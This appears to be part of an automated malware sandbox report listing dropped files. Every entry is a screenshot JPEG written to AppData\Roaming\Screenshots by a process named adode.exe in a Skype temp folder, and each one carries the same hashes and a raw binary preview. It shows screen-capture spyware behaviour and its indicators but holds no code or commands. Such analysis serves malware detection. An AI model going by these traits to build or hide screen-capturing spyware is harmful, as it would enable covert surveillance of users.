Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_082813.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_103339.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_123729.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_150644.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_171115.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_190252.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241215_211638.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_001109.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_034620.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_063636.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_085836.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_121541.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_153018.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_173732.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241216_191856.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_002520.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20241219_030715.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
